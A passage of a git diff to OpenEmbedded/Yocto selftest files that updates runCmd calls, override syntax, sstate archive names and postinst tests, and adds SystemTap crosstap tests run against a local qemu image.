self.assertEqual(result.status, -signal.SIGTERM)
end = time.time()
self.assertLess(end - start, self.TIMEOUT + self.DELTA)
- self.assertEqual(numthreads, threading.active_count())
+ self.assertEqual(numthreads, threading.active_count(), msg="Thread counts were not equal before (%s) and after (%s), active threads: %s" % (numthreads, threading.active_count(), threading.enumerate()))
def test_timeout_split(self):
numthreads = threading.active_count()
start = time.time()
# Killing a hanging process only works when not using a shell?!
- result = runCmd(['sleep', '60'], timeout=self.TIMEOUT, ignore_status=True, stderr=subprocess.PIPE)
+ result = runCmd(['sleep', '60'], timeout=self.TIMEOUT, ignore_status=True, stderr=subprocess.PIPE, sync=False)
self.assertEqual(result.status, -signal.SIGTERM)
end = time.time()
self.assertLess(end - start, self.TIMEOUT + self.DELTA)
- self.assertEqual(numthreads, threading.active_count())
+ self.assertEqual(numthreads, threading.active_count(), msg="Thread counts were not equal before (%s) and after (%s), active threads: %s" % (numthreads, threading.active_count(), threading.enumerate()))
def test_stdin(self):
numthreads = threading.active_count()
- result = runCmd("cat", data=b"hello world", timeout=self.TIMEOUT)
+ result = runCmd("cat", data=b"hello world", timeout=self.TIMEOUT, sync=False)
self.assertEqual("hello world", result.output)
- self.assertEqual(numthreads, threading.active_count())
+ self.assertEqual(numthreads, threading.active_count(), msg="Thread counts were not equal before (%s) and after (%s), active threads: %s" % (numthreads, threading.active_count(), threading.enumerate()))
+ self.assertEqual(numthreads, 1)
def test_stdin_timeout(self):
numthreads = threading.active_count()
start = time.time()
- result = runCmd(['sleep', '60'], data=b"hello world", timeout=self.TIMEOUT, ignore_status=True)
+ result = runCmd(['sleep', '60'], data=b"hello world", timeout=self.TIMEOUT, ignore_status=True, sync=False)
self.assertEqual(result.status, -signal.SIGTERM)
end = time.time()
self.assertLess(end - start, self.TIMEOUT + self.DELTA)
- self.assertEqual(numthreads, threading.active_count())
+ self.assertEqual(numthreads, threading.active_count(), msg="Thread counts were not equal before (%s) and after (%s), active threads: %s" % (numthreads, threading.active_count(), threading.enumerate()))
def test_log(self):
log = MemLogger()
- result = runCmd("echo stdout; echo stderr >&2", shell=True, output_log=log)
+ result = runCmd("echo stdout; echo stderr >&2", shell=True, output_log=log, sync=False)
self.assertEqual(["Running: echo stdout; echo stderr >&2", "stdout", "stderr"], log.info_msgs)
self.assertEqual([], log.error_msgs)
def test_log_split(self):
log = MemLogger()
- result = runCmd("echo stdout; echo stderr >&2", shell=True, output_log=log, stderr=subprocess.PIPE)
+ result = runCmd("echo stdout; echo stderr >&2", shell=True, output_log=log, stderr=subprocess.PIPE, sync=False)
self.assertEqual(["Running: echo stdout; echo stderr >&2", "stdout"], log.info_msgs)
self.assertEqual(["stderr"], log.error_msgs)
diff --git a/meta/lib/oeqa/selftest/cases/runqemu.py b/meta/lib/oeqa/selftest/cases/runqemu.py
index 7e676bcb41..da22f77b27 100644
--- a/meta/lib/oeqa/selftest/cases/runqemu.py
+++ b/meta/lib/oeqa/selftest/cases/runqemu.py
@@ -163,12 +163,11 @@ class QemuTest(OESelftestTestCase):
bitbake(cls.recipe)
def _start_qemu_shutdown_check_if_shutdown_succeeded(self, qemu, timeout):
+ # Allow the runner's LoggingThread instance to exit without errors
+ # (such as the exception "Console connection closed unexpectedly")
+ # as qemu will disappear when we shut it down
+ qemu.runner.allowexit()
qemu.run_serial("shutdown -h now")
- # Stop thread will stop the LoggingThread instance used for logging
- # qemu through serial console, stop thread will prevent this code
- # from facing exception (Console connection closed unexpectedly)
- # when qemu was shutdown by the above shutdown command
- qemu.runner.stop_thread()
time_track = 0
try:
while True:
diff --git a/meta/lib/oeqa/selftest/cases/runtime_test.py b/meta/lib/oeqa/selftest/cases/runtime_test.py
index 7d3922ce44..642f0eb637 100644
--- a/meta/lib/oeqa/selftest/cases/runtime_test.py
+++ b/meta/lib/oeqa/selftest/cases/runtime_test.py
@@ -10,14 +10,10 @@ import re
import tempfile
import shutil
import oe.lsb
+from oeqa.core.decorator.data import skipIfNotQemu
class TestExport(OESelftestTestCase):
- @classmethod
- def tearDownClass(cls):
- runCmd("rm -rf /tmp/sdk")
- super(TestExport, cls).tearDownClass()
-
def test_testexport_basic(self):
"""
Summary: Check basic testexport functionality with only ping test enabled.
@@ -94,19 +90,20 @@ class TestExport(OESelftestTestCase):
msg = "Couldn't find SDK tarball: %s" % tarball_path
self.assertEqual(os.path.isfile(tarball_path), True, msg)
- # Extract SDK and run tar from SDK
- result = runCmd("%s -y -d /tmp/sdk" % tarball_path)
- self.assertEqual(0, result.status, "Couldn't extract SDK")
+ with tempfile.TemporaryDirectory() as tmpdirname:
+ # Extract SDK and run tar from SDK
+ result = runCmd("%s -y -d %s" % (tarball_path, tmpdirname))
+ self.assertEqual(0, result.status, "Couldn't extract SDK")
- env_script = result.output.split()[-1]
- result = runCmd(". %s; which tar" % env_script, shell=True)
- self.assertEqual(0, result.status, "Couldn't setup SDK environment")
- is_sdk_tar = True if "/tmp/sdk" in result.output else False
- self.assertTrue(is_sdk_tar, "Couldn't setup SDK environment")
+ env_script = result.output.split()[-1]
+ result = runCmd(". %s; which tar" % env_script, shell=True)
+ self.assertEqual(0, result.status, "Couldn't setup SDK environment")
+ is_sdk_tar = True if tmpdirname in result.output else False
+ self.assertTrue(is_sdk_tar, "Couldn't setup SDK environment")
- tar_sdk = result.output
- result = runCmd("%s --version" % tar_sdk)
- self.assertEqual(0, result.status, "Couldn't run tar from SDK")
+ tar_sdk = result.output
+ result = runCmd("%s --version" % tar_sdk)
+ self.assertEqual(0, result.status, "Couldn't run tar from SDK")
class TestImage(OESelftestTestCase):
@@ -123,11 +120,10 @@ class TestImage(OESelftestTestCase):
self.skipTest('core-image-full-cmdline not buildable for poky-tiny')
features = 'INHERIT += "testimage"\n'
- features += 'IMAGE_INSTALL_append = " libssl"\n'
+ features += 'IMAGE_INSTALL:append = " libssl"\n'
features += 'TEST_SUITES = "ping ssh selftest"\n'
self.write_config(features)
- # Build core-image-sato and testimage
bitbake('core-image-full-cmdline socat')
bitbake('-c testimage core-image-full-cmdline')
@@ -155,20 +151,20 @@ class TestImage(OESelftestTestCase):
self.gpg_home = tempfile.mkdtemp(prefix="oeqa-feed-sign-")
self.track_for_cleanup(self.gpg_home)
signing_key_dir = os.path.join(self.testlayer_path, 'files', 'signing')
- runCmd('gpg --batch --homedir %s --import %s' % (self.gpg_home, os.path.join(signing_key_dir, 'key.secret')), native_sysroot=get_bb_var("RECIPE_SYSROOT_NATIVE", "gnupg-native"))
+ runCmd('gpgconf --list-dirs --homedir %s; gpg -v --batch --homedir %s --import %s' % (self.gpg_home, self.gpg_home, os.path.join(signing_key_dir, 'key.secret')), native_sysroot=get_bb_var("RECIPE_SYSROOT_NATIVE", "gnupg-native"), shell=True)
features += 'INHERIT += "sign_package_feed"\n'
features += 'PACKAGE_FEED_GPG_NAME = "testuser"\n'
features += 'PACKAGE_FEED_GPG_PASSPHRASE_FILE = "%s"\n' % os.path.join(signing_key_dir, 'key.passphrase')
features += 'GPG_PATH = "%s"\n' % self.gpg_home
+ features += 'PSEUDO_IGNORE_PATHS .= ",%s"\n' % self.gpg_home
self.write_config(features)
- # Build core-image-sato and testimage
bitbake('core-image-full-cmdline socat')
bitbake('-c testimage core-image-full-cmdline')
- def test_testimage_virgl_gtk(self):
+ def test_testimage_virgl_gtk_sdl(self):
"""
- Summary: Check host-assisted accelerate OpenGL functionality in qemu with gtk frontend
+ Summary: Check host-assisted accelerate OpenGL functionality in qemu with gtk and SDL frontends
Expected: 1. Check that virgl kernel driver is loaded and 3d acceleration is enabled
2. Check that kmscube demo runs without crashing.
Product: oe-core
@@ -179,22 +175,31 @@ class TestImage(OESelftestTestCase):
distro = oe.lsb.distro_identifier()
if distro and distro == 'debian-8':
self.skipTest('virgl isn\'t working with Debian 8')
+ if distro and distro == 'debian-9':
+ self.skipTest('virgl isn\'t working with Debian 9')
if distro and distro == 'centos-7':
self.skipTest('virgl isn\'t working with Centos 7')
+ if distro and distro == 'opensuseleap-15.0':
+ self.skipTest('virgl isn\'t working with Opensuse 15.0')
qemu_packageconfig = get_bb_var('PACKAGECONFIG', 'qemu-system-native')
+ qemu_distrofeatures = get_bb_var('DISTRO_FEATURES', 'qemu-system-native')
features = 'INHERIT += "testimage"\n'
if 'gtk+' not in qemu_packageconfig:
- features += 'PACKAGECONFIG_append_pn-qemu-system-native = " gtk+"\n'
- if 'virglrenderer' not in qemu_packageconfig:
- features += 'PACKAGECONFIG_append_pn-qemu-system-native = " virglrenderer"\n'
- if 'glx' not in qemu_packageconfig:
- features += 'PACKAGECONFIG_append_pn-qemu-system-native = " glx"\n'
+ features += 'PACKAGECONFIG:append:pn-qemu-system-native = " gtk+"\n'
+ if 'sdl' not in qemu_packageconfig:
+ features += 'PACKAGECONFIG:append:pn-qemu-system-native = " sdl"\n'
+ if 'opengl' not in qemu_distrofeatures:
+ features += 'DISTRO_FEATURES:append = " opengl"\n'
features += 'TEST_SUITES = "ping ssh virgl"\n'
- features += 'IMAGE_FEATURES_append = " ssh-server-dropbear"\n'
- features += 'IMAGE_INSTALL_append = " kmscube"\n'
- features += 'TEST_RUNQEMUPARAMS = "gtk gl"\n'
- self.write_config(features)
+ features += 'IMAGE_FEATURES:append = " ssh-server-dropbear"\n'
+ features += 'IMAGE_INSTALL:append = " kmscube"\n'
+ features_gtk = features + 'TEST_RUNQEMUPARAMS = "gtk gl"\n'
+ self.write_config(features_gtk)
+ bitbake('core-image-minimal')
+ bitbake('-c testimage core-image-minimal')
+ features_sdl = features + 'TEST_RUNQEMUPARAMS = "sdl gl"\n'
+ self.write_config(features_sdl)
bitbake('core-image-minimal')
bitbake('-c testimage core-image-minimal')
@@ -207,32 +212,76 @@ class TestImage(OESelftestTestCase):
Author: Alexander Kanavin <alex.kanavin@gmail.com>
"""
import subprocess, os
+
+ distro = oe.lsb.distro_identifier()
+ if distro and distro in ['debian-9', 'debian-10', 'centos-7', 'centos-8', 'ubuntu-16.04', 'ubuntu-18.04', 'almalinux-8.5']:
+ self.skipTest('virgl headless cannot be tested with %s' %(distro))
+
+ render_hint = """If /dev/dri/renderD* is absent due to lack of suitable GPU, 'modprobe vgem' will create one suitable for mesa llvmpipe software renderer."""
try:
content = os.listdir("/dev/dri")
if len([i for i in content if i.startswith('render')]) == 0:
- self.skipTest("No render nodes found in /dev/dri: %s" %(content))
+ self.fail("No render nodes found in /dev/dri: %s. %s" %(content, render_hint))
except FileNotFoundError:
- self.skipTest("/dev/dri directory does not exist; no render nodes available on this machine.")
+ self.fail("/dev/dri directory does not exist; no render nodes available on this machine. %s" %(render_hint))
try:
dripath = subprocess.check_output("pkg-config --variable=dridriverdir dri", shell=True)
except subprocess.CalledProcessError as e:
- self.skipTest("Could not determine the path to dri drivers on the host via pkg-config.\nPlease install Mesa development files (particularly, dri.pc) on the host machine.")
- qemu_packageconfig = get_bb_var('PACKAGECONFIG', 'qemu-system-native')
+ self.fail("Could not determine the path to dri drivers on the host via pkg-config.\nPlease install Mesa development files (particularly, dri.pc) on the host machine.")
+ qemu_distrofeatures = get_bb_var('DISTRO_FEATURES', 'qemu-system-native')
features = 'INHERIT += "testimage"\n'
- if 'virglrenderer' not in qemu_packageconfig:
- features += 'PACKAGECONFIG_append_pn-qemu-system-native = " virglrenderer"\n'
- if 'glx' not in qemu_packageconfig:
- features += 'PACKAGECONFIG_append_pn-qemu-system-native = " glx"\n'
+ if 'opengl' not in qemu_distrofeatures:
+ features += 'DISTRO_FEATURES:append = " opengl"\n'
features += 'TEST_SUITES = "ping ssh virgl"\n'
- features += 'IMAGE_FEATURES_append = " ssh-server-dropbear"\n'
- features += 'IMAGE_INSTALL_append = " kmscube"\n'
+ features += 'IMAGE_FEATURES:append = " ssh-server-dropbear"\n'
+ features += 'IMAGE_INSTALL:append = " kmscube"\n'
features += 'TEST_RUNQEMUPARAMS = "egl-headless"\n'
self.write_config(features)
bitbake('core-image-minimal')
bitbake('-c testimage core-image-minimal')
class Postinst(OESelftestTestCase):
- def test_postinst_rootfs_and_boot(self):
+
+ def init_manager_loop(self, init_manager):
+ import oe.path
+
+ vars = get_bb_vars(("IMAGE_ROOTFS", "sysconfdir"), "core-image-minimal")
+ rootfs = vars["IMAGE_ROOTFS"]
+ self.assertIsNotNone(rootfs)
+ sysconfdir = vars["sysconfdir"]
+ self.assertIsNotNone(sysconfdir)
+ # Need to use oe.path here as sysconfdir starts with /
+ hosttestdir = oe.path.join(rootfs, sysconfdir, "postinst-test")
+ targettestdir = os.path.join(sysconfdir, "postinst-test")
+
+ for classes in ("package_rpm", "package_deb", "package_ipk"):
+ with self.subTest(init_manager=init_manager, package_class=classes):
+ features = 'CORE_IMAGE_EXTRA_INSTALL = "postinst-delayed-b"\n'
+ features += 'IMAGE_FEATURES += "package-management empty-root-password"\n'
+ features += 'PACKAGE_CLASSES = "%s"\n' % classes
+ if init_manager == "systemd":
+ features += 'DISTRO_FEATURES:append = " systemd"\n'
+ features += 'VIRTUAL-RUNTIME_init_manager = "systemd"\n'
+ features += 'DISTRO_FEATURES_BACKFILL_CONSIDERED = "sysvinit"\n'
+ features += 'VIRTUAL-RUNTIME_initscripts = ""\n'
+ self.write_config(features)
+
+ bitbake('core-image-minimal')
+
+ self.assertTrue(os.path.isfile(os.path.join(hosttestdir, "rootfs")),
+ "rootfs state file was not created")
+
+ with runqemu('core-image-minimal') as qemu:
+ # Make the test echo a string and search for that as
+ # run_serial()'s status code is useless.'
+ for filename in ("rootfs", "delayed-a", "delayed-b"):
+ status, output = qemu.run_serial("test -f %s && echo found" % os.path.join(targettestdir, filename))
+ self.assertIn("found", output, "%s was not present on boot" % filename)
+
+
+
+ @skipIfNotQemu('qemuall', 'Test only runs in qemu')
+ def test_postinst_rootfs_and_boot_sysvinit(self):
"""
Summary: The purpose of this test case is to verify Post-installation
scripts are called when rootfs is created and also test
@@ -246,46 +295,32 @@ class Postinst(OESelftestTestCase):
created by postinst_boot recipe is present on image.
Expected: The files are successfully created during rootfs and boot
time for 3 different package managers: rpm,ipk,deb and
- for initialization managers: sysvinit and systemd.
+ for initialization managers: sysvinit.
"""
+ self.init_manager_loop("sysvinit")
- import oe.path
- vars = get_bb_vars(("IMAGE_ROOTFS", "sysconfdir"), "core-image-minimal")
- rootfs = vars["IMAGE_ROOTFS"]
- self.assertIsNotNone(rootfs)
- sysconfdir = vars["sysconfdir"]
- self.assertIsNotNone(sysconfdir)
- # Need to use oe.path here as sysconfdir starts with /
- hosttestdir = oe.path.join(rootfs, sysconfdir, "postinst-test")
- targettestdir = os.path.join(sysconfdir, "postinst-test")
-
- for init_manager in ("sysvinit", "systemd"):
- for classes in ("package_rpm", "package_deb", "package_ipk"):
- with self.subTest(init_manager=init_manager, package_class=classes):
- features = 'CORE_IMAGE_EXTRA_INSTALL = "postinst-delayed-b"\n'
- features += 'IMAGE_FEATURES += "package-management empty-root-password"\n'
- features += 'PACKAGE_CLASSES = "%s"\n' % classes
- if init_manager == "systemd":
- features += 'DISTRO_FEATURES_append = " systemd"\n'
- features += 'VIRTUAL-RUNTIME_init_manager = "systemd"\n'
- features += 'DISTRO_FEATURES_BACKFILL_CONSIDERED = "sysvinit"\n'
- features += 'VIRTUAL-RUNTIME_initscripts = ""\n'
- self.write_config(features)
-
- bitbake('core-image-minimal')
-
- self.assertTrue(os.path.isfile(os.path.join(hosttestdir, "rootfs")),
- "rootfs state file was not created")
+ @skipIfNotQemu('qemuall', 'Test only runs in qemu')
+ def test_postinst_rootfs_and_boot_systemd(self):
+ """
+ Summary: The purpose of this test case is to verify Post-installation
+ scripts are called when rootfs is created and also test
+ that script can be delayed to run at first boot.
+ Dependencies: NA
+ Steps: 1. Add proper configuration to local.conf file
+ 2. Build a "core-image-minimal" image
+ 3. Verify that file created by postinst_rootfs recipe is
+ present on rootfs dir.
+ 4. Boot the image created on qemu and verify that the file
+ created by postinst_boot recipe is present on image.
+ Expected: The files are successfully created during rootfs and boot
+ time for 3 different package managers: rpm,ipk,deb and
+ for initialization managers: systemd.
- with runqemu('core-image-minimal') as qemu:
- # Make the test echo a string and search for that as
- # run_serial()'s status code is useless.'
- for filename in ("rootfs", "delayed-a", "delayed-b"):
- status, output = qemu.run_serial("test -f %s && echo found" % os.path.join(targettestdir, filename))
- self.assertEqual(output, "found", "%s was not present on boot" % filename)
+ """
+ self.init_manager_loop("systemd")
def test_failing_postinst(self):
@@ -322,3 +357,80 @@ class Postinst(OESelftestTestCase):
self.assertFalse(os.path.isfile(os.path.join(hosttestdir, "rootfs-after-failure")),
"rootfs-after-failure file was created")
+class SystemTap(OESelftestTestCase):
+ """
+ Summary: The purpose of this test case is to verify native crosstap
+ works while talking to a target.
+ Expected: The script should successfully connect to the qemu machine
+ and run some systemtap examples on a qemu machine.
+ """
+
+ @classmethod
+ def setUpClass(cls):
+ super(SystemTap, cls).setUpClass()
+ cls.image = "core-image-minimal"
+
+ def default_config(self):
+ return """
+# These aren't the actual IP addresses but testexport class needs something defined
+TEST_SERVER_IP = "192.168.7.1"
+TEST_TARGET_IP = "192.168.7.2"
+
+EXTRA_IMAGE_FEATURES += "tools-profile dbg-pkgs"
+IMAGE_FEATURES:append = " ssh-server-dropbear"
+
+# enables kernel debug symbols
+KERNEL_EXTRA_FEATURES:append = " features/debug/debug-kernel.scc"
+KERNEL_EXTRA_FEATURES:append = " features/systemtap/systemtap.scc"
+
+# add systemtap run-time into target image if it is not there yet
+IMAGE_INSTALL:append = " systemtap-runtime"
+"""
+
+ def test_crosstap_helloworld(self):
+ self.write_config(self.default_config())
+ bitbake('systemtap-native')
+ systemtap_examples = os.path.join(get_bb_var("WORKDIR","systemtap-native"), "usr/share/systemtap/examples")
+ bitbake(self.image)
+
+ with runqemu(self.image) as qemu:
+ cmd = "crosstap -r root@192.168.7.2 -s %s/general/helloworld.stp " % systemtap_examples
+ result = runCmd(cmd)
+ self.assertEqual(0, result.status, 'crosstap helloworld returned a non 0 status:%s' % result.output)
+
+ def test_crosstap_pstree(self):
+ self.write_config(self.default_config())
+
+ bitbake('systemtap-native')
+ systemtap_examples = os.path.join(get_bb_var("WORKDIR","systemtap-native"), "usr/share/systemtap/examples")
+ bitbake(self.image)
+
+ with runqemu(self.image) as qemu:
+ cmd = "crosstap -r root@192.168.7.2 -s %s/process/pstree.stp" % systemtap_examples
+ result = runCmd(cmd)
+ self.assertEqual(0, result.status, 'crosstap pstree returned a non 0 status:%s' % result.output)
+
+ def test_crosstap_syscalls_by_proc(self):
+ self.write_config(self.default_config())
+
+ bitbake('systemtap-native')
+ systemtap_examples = os.path.join(get_bb_var("WORKDIR","systemtap-native"), "usr/share/systemtap/examples")
+ bitbake(self.image)
+
+ with runqemu(self.image) as qemu:
+ cmd = "crosstap -r root@192.168.7.2 -s %s/process/ syscalls_by_proc.stp" % systemtap_examples
+ result = runCmd(cmd)
+ self.assertEqual(0, result.status, 'crosstap syscalls_by_proc returned a non 0 status:%s' % result.output)
+
+ def test_crosstap_syscalls_by_pid(self):
+ self.write_config(self.default_config())
+
+ bitbake('systemtap-native')
+ systemtap_examples = os.path.join(get_bb_var("WORKDIR","systemtap-native"), "usr/share/systemtap/examples")
+ bitbake(self.image)
+
+ with runqemu(self.image) as qemu:
+ cmd = "crosstap -r root@192.168.7.2 -s %s/process/ syscalls_by_pid.stp" % systemtap_examples
+ result = runCmd(cmd)
+ self.assertEqual(0, result.status, 'crosstap syscalls_by_pid returned a non 0 status:%s' % result.output)
+
diff --git a/meta/lib/oeqa/selftest/cases/signing.py b/meta/lib/oeqa/selftest/cases/signing.py
index 93b15ae681..6f3d4aeae9 100644
--- a/meta/lib/oeqa/selftest/cases/signing.py
+++ b/meta/lib/oeqa/selftest/cases/signing.py
@@ -44,7 +44,9 @@ class Signing(OESelftestTestCase):
origenv = os.environ.copy()
for e in os.environ:
- if builddir in os.environ[e]:
+ if builddir + "/" in os.environ[e]:
+ os.environ[e] = os.environ[e].replace(builddir + "/", newbuilddir + "/")
+ if os.environ[e].endswith(builddir):
os.environ[e] = os.environ[e].replace(builddir, newbuilddir)
os.chdir(newbuilddir)
@@ -143,7 +145,7 @@ class Signing(OESelftestTestCase):
feature += 'GPG_PATH = "%s"\n' % self.gpg_dir
feature += 'SSTATE_DIR = "%s"\n' % sstatedir
# Any mirror might have partial sstate without .sig files, triggering failures
- feature += 'SSTATE_MIRRORS_forcevariable = ""\n'
+ feature += 'SSTATE_MIRRORS:forcevariable = ""\n'
self.write_config(feature)
@@ -157,13 +159,13 @@ class Signing(OESelftestTestCase):
bitbake('-c clean %s' % test_recipe)
bitbake('-c populate_lic %s' % test_recipe)
- recipe_sig = glob.glob(sstatedir + '/*/*:ed:*_populate_lic.tgz.sig')
- recipe_tgz = glob.glob(sstatedir + '/*/*:ed:*_populate_lic.tgz')
+ recipe_sig = glob.glob(sstatedir + '/*/*/*:ed:*_populate_lic.tar.zst.sig')
+ recipe_archive = glob.glob(sstatedir + '/*/*/*:ed:*_populate_lic.tar.zst')
self.assertEqual(len(recipe_sig), 1, 'Failed to find .sig file.')
- self.assertEqual(len(recipe_tgz), 1, 'Failed to find .tgz file.')
+ self.assertEqual(len(recipe_archive), 1, 'Failed to find .tar.zst file.')
- ret = runCmd('gpg --homedir %s --verify %s %s' % (self.gpg_dir, recipe_sig[0], recipe_tgz[0]))
+ ret = runCmd('gpg --homedir %s --verify %s %s' % (self.gpg_dir, recipe_sig[0], recipe_archive[0]))
# gpg: Signature made Thu 22 Oct 2015 01:45:09 PM EEST using RSA key ID 61EEFB30
# gpg: Good signature from "testuser (nocomment) <testuser@email.com>"
self.assertIn('gpg: Good signature from', ret.output, 'Package signed incorrectly.')
@@ -204,7 +206,7 @@ class LockedSignatures(OESelftestTestCase):
# Use uuid so hash equivalance server isn't triggered
recipe_append_file = test_recipe + '_' + get_bb_var('PV', test_recipe) + '.bbappend'
recipe_append_path = os.path.join(templayerdir, 'recipes-test', test_recipe, recipe_append_file)
- feature = 'SUMMARY_${PN} = "test locked signature%s"\n' % uuid.uuid4()
+ feature = 'SUMMARY:${PN} = "test locked signature%s"\n' % uuid.uuid4()
os.mkdir(os.path.join(templayerdir, 'recipes-test'))
os.mkdir(os.path.join(templayerdir, 'recipes-test', test_recipe))
diff --git a/meta/lib/oeqa/selftest/cases/sstate.py b/meta/lib/oeqa/selftest/cases/sstate.py
index 410dec64fc..80ce9e353c 100644
--- a/meta/lib/oeqa/selftest/cases/sstate.py
+++ b/meta/lib/oeqa/selftest/cases/sstate.py
@@ -56,11 +56,11 @@ class SStateBase(OESelftestTestCase):
def search_sstate(self, filename_regex, distro_specific=True, distro_nonspecific=True):
result = []
for root, dirs, files in os.walk(self.sstate_path):
- if distro_specific and re.search("%s/[a-z0-9]{2}$" % self.hostdistro, root):
+ if distro_specific and re.search(r"%s/%s/[a-z0-9]{2}/[a-z0-9]{2}$" % (self.sstate_path, self.hostdistro), root):
for f in files:
if re.search(filename_regex, f):
result.append(f)
- if distro_nonspecific and re.search("%s/[a-z0-9]{2}$" % self.sstate_path, root):
+ if distro_nonspecific and re.search(r"%s/[a-z0-9]{2}/[a-z0-9]{2}$" % self.sstate_path, root):
for f in files:
if re.search(filename_regex, f):
result.append(f)
diff --git a/meta/lib/oeqa/selftest/cases/sstatetests.py b/meta/lib/oeqa/selftest/cases/sstatetests.py
index 2867cb78ab..3038b40021 100644
--- a/meta/lib/oeqa/selftest/cases/sstatetests.py
+++ b/meta/lib/oeqa/selftest/cases/sstatetests.py
@@ -11,6 +11,7 @@ import tempfile
from oeqa.selftest.case import OESelftestTestCase
from oeqa.utils.commands import runCmd, bitbake, get_bb_var, get_test_layer, create_temp_layer
from oeqa.selftest.cases.sstate import SStateBase
+import oe
import bb.siggen
@@ -19,10 +20,13 @@ class SStateTests(SStateBase):
# Test that a git repository which changes is correctly handled by SRCREV = ${AUTOREV}
# when PV does not contain SRCPV
- tempdir = tempfile.mkdtemp(prefix='oeqa')
+ tempdir = tempfile.mkdtemp(prefix='sstate_autorev')
+ tempdldir = tempfile.mkdtemp(prefix='sstate_autorev_dldir')
self.track_for_cleanup(tempdir)
+ self.track_for_cleanup(tempdldir)
create_temp_layer(tempdir, 'selftestrecipetool')
self.add_command_to_tearDown('bitbake-layers remove-layer %s' % tempdir)
+ self.append_config("DL_DIR = \"%s\"" % tempdldir)
runCmd('bitbake-layers add-layer %s' % tempdir)
# Use dbus-wait as a local git repo we can add a commit between two builds in
@@ -36,7 +40,7 @@ class SStateTests(SStateBase):
recipefile = os.path.join(tempdir, "recipes-test", "dbus-wait-test", 'dbus-wait-test_git.bb')
os.makedirs(os.path.dirname(recipefile))
- srcuri = 'git://' + srcdir + ';protocol=file'
+ srcuri = 'git://' + srcdir + ';protocol=file;branch=master'
result = runCmd(['recipetool', 'create', '-o', recipefile, srcuri])
self.assertTrue(os.path.isfile(recipefile), 'recipetool did not create recipe file; output:\n%s' % result.output)
@@ -65,7 +69,7 @@ class SStateTests(SStateBase):
results = self.search_sstate('|'.join(map(str, targets)), distro_specific, distro_nonspecific)
if distro_nonspecific:
for r in results:
- if r.endswith(("_populate_lic.tgz", "_populate_lic.tgz.siginfo", "_fetch.tgz.siginfo", "_unpack.tgz.siginfo", "_patch.tgz.siginfo")):
+ if r.endswith(("_populate_lic.tar.zst", "_populate_lic.tar.zst.siginfo", "_fetch.tar.zst.siginfo", "_unpack.tar.zst.siginfo", "_patch.tar.zst.siginfo")):
continue
file_tracker.append(r)
else:
@@ -95,15 +99,15 @@ class SStateTests(SStateBase):
bitbake(['-ccleansstate'] + targets)
bitbake(targets)
- tgz_created = self.search_sstate('|'.join(map(str, [s + r'.*?\.tgz$' for s in targets])), distro_specific, distro_nonspecific)
- self.assertTrue(tgz_created, msg="Could not find sstate .tgz files for: %s (%s)" % (', '.join(map(str, targets)), str(tgz_created)))
+ archives_created = self.search_sstate('|'.join(map(str, [s + r'.*?\.tar.zst$' for s in targets])), distro_specific, distro_nonspecific)
+ self.assertTrue(archives_created, msg="Could not find sstate .tar.zst files for: %s (%s)" % (', '.join(map(str, targets)), str(archives_created)))
siginfo_created = self.search_sstate('|'.join(map(str, [s + r'.*?\.siginfo$' for s in targets])), distro_specific, distro_nonspecific)
self.assertTrue(siginfo_created, msg="Could not find sstate .siginfo files for: %s (%s)" % (', '.join(map(str, targets)), str(siginfo_created)))
bitbake(['-ccleansstate'] + targets)
- tgz_removed = self.search_sstate('|'.join(map(str, [s + r'.*?\.tgz$' for s in targets])), distro_specific, distro_nonspecific)
- self.assertTrue(not tgz_removed, msg="do_cleansstate didn't remove .tgz sstate files for: %s (%s)" % (', '.join(map(str, targets)), str(tgz_removed)))
+ archives_removed = self.search_sstate('|'.join(map(str, [s + r'.*?\.tar.zst$' for s in targets])), distro_specific, distro_nonspecific)
+ self.assertTrue(not archives_removed, msg="do_cleansstate didn't remove .tar.zst sstate files for: %s (%s)" % (', '.join(map(str, targets)), str(archives_removed)))
def test_cleansstate_task_distro_specific_nonspecific(self):
targets = ['binutils-cross-'+ self.tune_arch, 'binutils-native']
@@ -126,15 +130,15 @@ class SStateTests(SStateBase):
bitbake(['-ccleansstate'] + targets)
bitbake(targets)
- results = self.search_sstate('|'.join(map(str, [s + r'.*?\.tgz$' for s in targets])), distro_specific=False, distro_nonspecific=True)
+ results = self.search_sstate('|'.join(map(str, [s + r'.*?\.tar.zst$' for s in targets])), distro_specific=False, distro_nonspecific=True)
filtered_results = []
for r in results:
- if r.endswith(("_populate_lic.tgz", "_populate_lic.tgz.siginfo")):
+ if r.endswith(("_populate_lic.tar.zst", "_populate_lic.tar.zst.siginfo")):
continue
filtered_results.append(r)
self.assertTrue(filtered_results == [], msg="Found distro non-specific sstate for: %s (%s)" % (', '.join(map(str, targets)), str(filtered_results)))
- file_tracker_1 = self.search_sstate('|'.join(map(str, [s + r'.*?\.tgz$' for s in targets])), distro_specific=True, distro_nonspecific=False)
- self.assertTrue(len(file_tracker_1) >= len(targets), msg = "Not all sstate files ware created for: %s" % ', '.join(map(str, targets)))
+ file_tracker_1 = self.search_sstate('|'.join(map(str, [s + r'.*?\.tar.zst$' for s in targets])), distro_specific=True, distro_nonspecific=False)
+ self.assertTrue(len(file_tracker_1) >= len(targets), msg = "Not all sstate files were created for: %s" % ', '.join(map(str, targets)))
self.track_for_cleanup(self.distro_specific_sstate + "_old")
shutil.copytree(self.distro_specific_sstate, self.distro_specific_sstate + "_old")
@@ -142,14 +146,14 @@ class SStateTests(SStateBase):
bitbake(['-cclean'] + targets)
bitbake(targets)
- file_tracker_2 = self.search_sstate('|'.join(map(str, [s + r'.*?\.tgz$' for s in targets])), distro_specific=True, distro_nonspecific=False)
- self.assertTrue(len(file_tracker_2) >= len(targets), msg = "Not all sstate files ware created for: %s" % ', '.join(map(str, targets)))
+ file_tracker_2 = self.search_sstate('|'.join(map(str, [s + r'.*?\.tar.zst$' for s in targets])), distro_specific=True, distro_nonspecific=False)
+ self.assertTrue(len(file_tracker_2) >= len(targets), msg = "Not all sstate files were created for: %s" % ', '.join(map(str, targets)))
not_recreated = [x for x in file_tracker_1 if x not in file_tracker_2]
- self.assertTrue(not_recreated == [], msg="The following sstate files ware not recreated: %s" % ', '.join(map(str, not_recreated)))
+ self.assertTrue(not_recreated == [], msg="The following sstate files were not recreated: %s" % ', '.join(map(str, not_recreated)))
created_once = [x for x in file_tracker_2 if x not in file_tracker_1]
- self.assertTrue(created_once == [], msg="The following sstate files ware created only in the second run: %s" % ', '.join(map(str, created_once)))
+ self.assertTrue(created_once == [], msg="The following sstate files were created only in the second run: %s" % ', '.join(map(str, created_once)))
def test_rebuild_distro_specific_sstate_cross_native_targets(self):
